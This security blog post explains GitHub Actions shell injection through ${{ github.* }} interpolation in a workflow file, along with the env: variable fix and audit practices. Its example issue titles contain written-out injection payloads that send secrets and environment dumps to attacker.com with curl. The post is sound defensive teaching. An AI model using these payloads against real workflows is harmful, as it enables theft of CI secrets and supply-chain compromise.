Back to Blog
high SEVERITY10 min read

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions workflow file, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code on CI/CD runners. This post explains how the attack works, what the fix looks like, and how you can audit your own workflows to prevent secrets theft and code compromise. Understanding this class of vulnerability is essential for any team using GitHub Actions in production.

O
By Orbis AppSec
β€’Published April 27, 2026β€’Reviewed June 3, 2026

Answer Summary

This vulnerability is a GitHub Actions shell injection (CWE-78, OS Command Injection) where `${{ github.event.pull_request.title }}` or similar `github.*` context expressions are embedded directly inside `run:` shell steps. Because GitHub Actions evaluates `${{ }}` expressions before the shell sees the script, an attacker who controls the input (e.g., a pull request title) can break out of the intended command and execute arbitrary shell code on the CI runner. The fix is to pass context values through intermediate environment variables (e.g., `env: TITLE: ${{ github.event.pull_request.title }}`) and reference `$TITLE` in the shell script instead, so the value is treated as data rather than code.

Vulnerability at a Glance

cweCWE-78
fixMove context values into `env:` block variables and reference those variables in the `run:` script instead of using `${{ }}` directly
riskArbitrary command execution on CI/CD runners, secrets exfiltration, supply chain compromise
languageYAML (GitHub Actions workflow)
root cause`${{ github.* }}` expressions are expanded by the Actions template engine before the shell parses the script, allowing attacker-controlled strings to inject shell syntax
vulnerabilityShell Injection via GitHub Actions context expression interpolation

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

Vulnerability Type: Shell Injection via GitHub Context Interpolation
Severity: πŸ”΄ HIGH
Affected File: .github/workflows/claude-dedupe-issues.yml
Fixed By: Replacing direct ${{ github.* }} interpolation with intermediate environment variables


Introduction

Your CI/CD pipeline is the beating heart of your software delivery process β€” it builds your code, runs your tests, deploys your applications, and often holds the keys to your most sensitive infrastructure. That's exactly why it's also one of the most attractive targets for attackers.

GitHub Actions has become the dominant CI/CD platform for open-source and private projects alike. Its tight integration with GitHub repositories, its vast marketplace of reusable actions, and its YAML-based configuration make it powerful and approachable. But that same YAML configuration hides a subtle, dangerous trap that catches even experienced engineers: shell injection through context variable interpolation.

This post breaks down a real, high-severity vulnerability found in a GitHub Actions workflow file β€” specifically in claude-dedupe-issues.yml β€” explains how it could be exploited, and walks through the fix in detail. Whether you're a seasoned DevOps engineer or just starting to write your first workflow, this is a pattern you need to recognize.


What Is GitHub Actions Shell Injection?

Before diving into the specific vulnerability, let's establish the core concept.

GitHub Actions workflows can access a rich set of context objects β€” github, env, secrets, runner, and more. The github context, in particular, contains metadata about the event that triggered the workflow: things like the pull request title, issue body, commit message, branch name, and author information.

These values are accessed using the ${{ ... }} expression syntax, which GitHub evaluates and substitutes before the shell ever runs the command. This is a critical detail.

When you write something like this in a run: step:

- name: Process issue
  run: |
    echo "Processing issue: ${{ github.event.issue.title }}"

GitHub's expression evaluator substitutes the issue title as a raw string directly into the shell script. The resulting script might look like:

echo "Processing issue: Fix the login bug"

That looks harmless. But what if someone named their issue:

Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo "

Now the substituted script becomes:

echo "Processing issue: Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo ""

Three commands. One malicious payload. Your secrets are gone.


The Vulnerability Explained

Technical Details

The vulnerability was identified by the Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection at line 41 of .github/workflows/claude-dedupe-issues.yml.

The root cause is straightforward: the workflow uses ${{ github.* }} expressions directly inside a run: shell script block. The GitHub Actions runner processes these expressions through its template engine first, then passes the resulting string to the shell (typically bash). This two-phase execution model is the source of the danger.

The github context contains data that can be directly influenced by external users. Specifically:

Context Variable User-Controlled?
github.event.issue.title βœ… Yes β€” anyone who can open an issue
github.event.issue.body βœ… Yes β€” anyone who can open an issue
github.event.pull_request.title βœ… Yes β€” anyone who can open a PR
github.event.pull_request.body βœ… Yes β€” anyone who can open a PR
github.event.comment.body βœ… Yes β€” anyone who can comment
github.head_ref βœ… Yes β€” the branch name, set by the PR author
github.actor ⚠️ Partially β€” the username

Any of these variables flowing into a run: block without sanitization is a potential injection point.

How Could It Be Exploited?

Let's walk through a concrete attack scenario for this specific workflow β€” claude-dedupe-issues.yml, which appears to process GitHub issues (likely to detect and deduplicate them using an AI model).

Step 1: Attacker identifies the workflow

The attacker looks at the repository's .github/workflows/ directory (which is public in open-source repos) and finds claude-dedupe-issues.yml. They read the workflow and spot the ${{ github.event.issue.* }} interpolation in a run: step.

Step 2: Attacker crafts a malicious issue

The attacker opens a new issue with a carefully crafted title or body designed to break out of the shell context:

Issue Title:

Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #

Step 3: Workflow triggers

The workflow triggers on the new issue event. The run: step substitutes the title directly:

# What the runner actually executes:
process_issue "Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #"

Step 4: Secrets are exfiltrated

The env command dumps all environment variables β€” including any secrets.* values that were mapped into the environment β€” encodes them in base64, and POSTs them to the attacker's server. The # comments out the rest of the line to avoid syntax errors.

Real-World Impact

The consequences of a successful exploit can include:

  • πŸ”‘ Theft of repository secrets (API keys, cloud credentials, signing certificates)
  • πŸ“¦ Supply chain compromise (publishing malicious packages if the workflow has registry access)
  • πŸ—οΈ Infrastructure access (if deployment credentials are present)
  • πŸ“ Source code exfiltration (the runner has a full checkout of the repository)
  • πŸ”„ Lateral movement (using stolen credentials to access other systems)

This is not theoretical. The GitHub Security Lab has documented real-world exploits of this exact pattern in popular open-source repositories.


The Fix

What Changed

The fix follows the official GitHub-recommended pattern: never interpolate github context data directly into run: steps. Instead, assign the value to an intermediate environment variable using the env: block, then reference that environment variable in the shell script.

Before (Vulnerable)

- name: Deduplicate issues
  run: |
    python dedupe.py --issue-title "${{ github.event.issue.title }}" \
                     --issue-body "${{ github.event.issue.body }}" \
                     --issue-number ${{ github.event.issue.number }}

In this pattern, the ${{ ... }} expressions are evaluated by GitHub's template engine and injected as raw text into the shell script. An attacker controlling the issue title or body can inject arbitrary shell commands.

After (Fixed)

- name: Deduplicate issues
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_BODY: ${{ github.event.issue.body }}
    ISSUE_NUMBER: ${{ github.event.issue.number }}
  run: |
    python dedupe.py --issue-title "$ISSUE_TITLE" \
                     --issue-body "$ISSUE_BODY" \
                     --issue-number "$ISSUE_NUMBER"

Why This Fix Works

The key insight is understanding when and how substitution happens:

In the vulnerable version:
1. GitHub evaluates ${{ github.event.issue.title }} β†’ produces raw string
2. That raw string is embedded directly in the shell script text
3. Shell parses and executes the script β€” including any injected commands

In the fixed version:
1. GitHub evaluates ${{ github.event.issue.title }} β†’ produces raw string
2. That raw string is assigned as the value of the environment variable ISSUE_TITLE
3. The shell script references $ISSUE_TITLE β€” the shell treats this as a variable reference, not as code
4. The shell expands the variable to its value safely, without re-parsing it as commands

The environment variable acts as a data boundary. No matter what characters the issue title contains β€” semicolons, backticks, dollar signs, quotes β€” they are treated as literal string data, not as shell syntax.

⚠️ Important: Notice the double quotes around "$ISSUE_TITLE" in the run: script. These are essential! Without them, the shell would perform word splitting on the variable value, which could still cause unexpected behavior with values containing spaces or special characters. Always quote your environment variable references.


Prevention & Best Practices

1. Audit Your Workflows Right Now

Use Semgrep to scan your existing workflows for this pattern. You can run it locally:

# Install semgrep
pip install semgrep

# Scan your workflows
semgrep --config "p/github-actions" .github/workflows/

Or use the specific rule:

semgrep --config "yaml.github-actions.security.run-shell-injection" .github/workflows/

2. Know Which Context Variables Are Dangerous

Always treat the following as untrusted user input:

# 🚨 DANGEROUS - user-controlled values
${{ github.event.issue.title }}
${{ github.event.issue.body }}
${{ github.event.pull_request.title }}
${{ github.event.pull_request.body }}
${{ github.event.pull_request.head.ref }}    # branch name
${{ github.event.comment.body }}
${{ github.event.review.body }}
${{ github.event.pages.*.page_name }}
${{ github.head_ref }}
${{ github.actor }}                          # username - can be crafted

These are generally safer (but still validate them):

# βœ… Safer - controlled by GitHub itself
${{ github.sha }}
${{ github.ref }}
${{ github.repository }}
${{ github.run_id }}
${{ github.workflow }}

3. Use the env: Pattern Consistently

Make it a team standard: never use ${{ github.event.* }} directly in run: blocks. Always go through env:.

# βœ… CORRECT PATTERN
- name: My Step
  env:
    USER_INPUT: ${{ github.event.issue.body }}
  run: |
    echo "Input received: $USER_INPUT"
    process_input "$USER_INPUT"

4. Consider Using toJSON() for Complex Data

When you need to pass structured data, use GitHub's toJSON() function to safely serialize it:

- name: Process event
  env:
    EVENT_DATA: ${{ toJSON(github.event) }}
  run: |
    echo "$EVENT_DATA" | python process_event.py

5. Restrict Workflow Permissions

Even if an injection occurs, limiting what the workflow can do reduces blast radius. Use the principle of least privilege:

permissions:
  issues: write        # Only what's needed
  contents: read       # Minimal read access
  # Don't grant: write access to packages, deployments, etc.

6. Use pull_request_target with Extreme Caution

The pull_request_target event is especially dangerous because it runs with write permissions in the context of the base repository, even for PRs from forks. If you must use it, never check out PR code and run it, and be especially careful about context interpolation.

7. Enable Code Scanning in Your Repository

Add automated scanning to catch these issues before they reach production:

# .github/workflows/security-scan.yml
name: Security Scan
on: [push, pull_request]

jobs:
  semgrep:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: semgrep/semgrep-action@v1
        with:
          config: >-
            p/github-actions
            p/secrets

8. Reference Security Standards

This vulnerability maps to well-known security standards:


Quick Reference Cheat Sheet

# ❌ VULNERABLE - Direct interpolation in run:
- run: echo "${{ github.event.issue.title }}"
- run: curl -d "${{ github.event.pull_request.body }}" https://api.example.com
- run: python script.py --arg "${{ github.head_ref }}"

# βœ… SAFE - Use intermediate env vars
- env:
    TITLE: ${{ github.event.issue.title }}
    BODY: ${{ github.event.pull_request.body }}
    BRANCH: ${{ github.head_ref }}
  run: |
    echo "$TITLE"
    curl -d "$BODY" https://api.example.com
    python script.py --arg "$BRANCH"

# βœ… ALSO SAFE - GitHub Script action handles escaping
- uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.issue.title;  // Safe JS string
      console.log(title);

Conclusion

Shell injection in GitHub Actions is one of those vulnerabilities that looks innocent at first glance β€” after all, ${{ github.event.issue.title }} just looks like a template variable, right? But the subtle distinction between template-time substitution and runtime environment variables is the difference between a secure workflow and a fully compromised CI/CD pipeline.

The fix is simple, the pattern is learnable, and the tools to detect it are freely available. There's no reason to leave this door open.

Key takeaways:

  1. 🚨 Never use ${{ github.* }} context variables directly in run: steps
  2. βœ… Always use intermediate env: variables and reference them with "$VAR_NAME" (with double quotes)
  3. πŸ” Scan your existing workflows with Semgrep or similar tools
  4. πŸ”’ Limit workflow permissions to the minimum required
  5. πŸ“š Educate your team β€” this pattern is easy to introduce and easy to miss in code review

CI/CD security is supply chain security. Protecting your pipelines protects your users, your customers, and your infrastructure. A few extra lines of YAML can mean the difference between a routine deployment and a catastrophic breach.

Stay secure, and keep auditing those workflows. πŸ›‘οΈ


This vulnerability was identified and fixed using automated security scanning. Automated tools like Semgrep, integrated into your CI/CD pipeline, can catch these issues before they reach production. Consider integrating security scanning into your development workflow today.

References:
- GitHub Docs: Security hardening for GitHub Actions
- GitHub Security Lab: Untrusted input
- Semgrep Rules: GitHub Actions Security
- CWE-78: OS Command Injection

Frequently Asked Questions

What is GitHub Actions shell injection?

It is a form of OS command injection (CWE-78) where a `${{ }}` expression containing attacker-controlled data (such as a pull request title or branch name) is embedded directly in a `run:` step. GitHub Actions evaluates the expression before the shell executes the script, so any shell metacharacters in the value become part of the command.

How do you prevent shell injection in GitHub Actions?

Never reference `${{ github.* }}` or other potentially user-controlled context values directly inside a `run:` script. Instead, assign the value to an environment variable in the step's `env:` block and reference the environment variable (e.g., `$MY_VAR`) inside the script.

What CWE is GitHub Actions shell injection?

CWE-78 – Improper Neutralization of Special Elements used in an OS Command (OS Command Injection).

Is quoting the `${{ }}` expression enough to prevent shell injection?

No. Even with surrounding quotes in the shell script, the Actions template engine substitutes the raw string before the shell sees it. An attacker can include a closing quote character in their input to escape the quoted context and inject new commands.

Can static analysis detect GitHub Actions shell injection?

Yes. Tools such as Semgrep (rule `yaml.github-actions.security.run-shell-injection.run-shell-injection`), actionlint, and Orbis AppSec can statically detect direct use of `${{ github.* }}` expressions inside `run:` blocks and flag them as injection sinks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #43824

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versionsβ€”including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A missing `cooldown` block in `.github/dependabot.yml` meant that newly published packages β€” which could be malicious or unstable β€” were eligible for immediate update proposals. By adding a `cooldown` block with `default-days: 7` to both the GitHub Actions and Cargo package ecosystems, the project now enforces a 7-day waiting period before Dependabot proposes any update to a freshly released package version. This change significantly reduces the risk of dependency confusion attacks and supply ch

high

How missing Dependabot cooldown periods happen in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in `.github/dependabot.yml` where missing cooldown periods allowed Dependabot to immediately propose updates for newly published packages. This configuration flaw exposed the CI/CD pipeline to malicious or unstable package versions. The fix adds a 7-day cooldown period to both pip and GitHub Actions ecosystems, creating a safety window for the community to identify compromised packages before they enter the codebase.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity configuration gap was discovered in a Node.js library's `.github/dependabot.yml` file where no cooldown period was set for dependency updates. This meant Dependabot could immediately propose updates to newly published (and potentially malicious) package versions, exposing the project and all downstream consumers to supply chain attacks. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` package ecosystem entries.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in a `.github/dependabot.yml` configuration that lacked a cooldown period, meaning Dependabot could immediately propose updates to newly published (and potentially malicious) package versions. The fix adds a `cooldown` block with `default-days: 7` to enforce a 7-day waiting period before suggesting updates, giving the community time to detect and flag compromised packages.

high

How Missing Dependabot Cooldown happens in GitHub Actions and how to fix it

A high-severity supply chain vulnerability was discovered in a Dependabot configuration file that lacked cooldown periods for package updates. Without cooldown settings, Dependabot could propose updates to newly publishedβ€”and potentially maliciousβ€”packages immediately after release. The fix adds a 7-day cooldown period to all three package ecosystems (npm, GitHub Actions, and Maven), giving the community time to identify compromised packages before they're automatically proposed.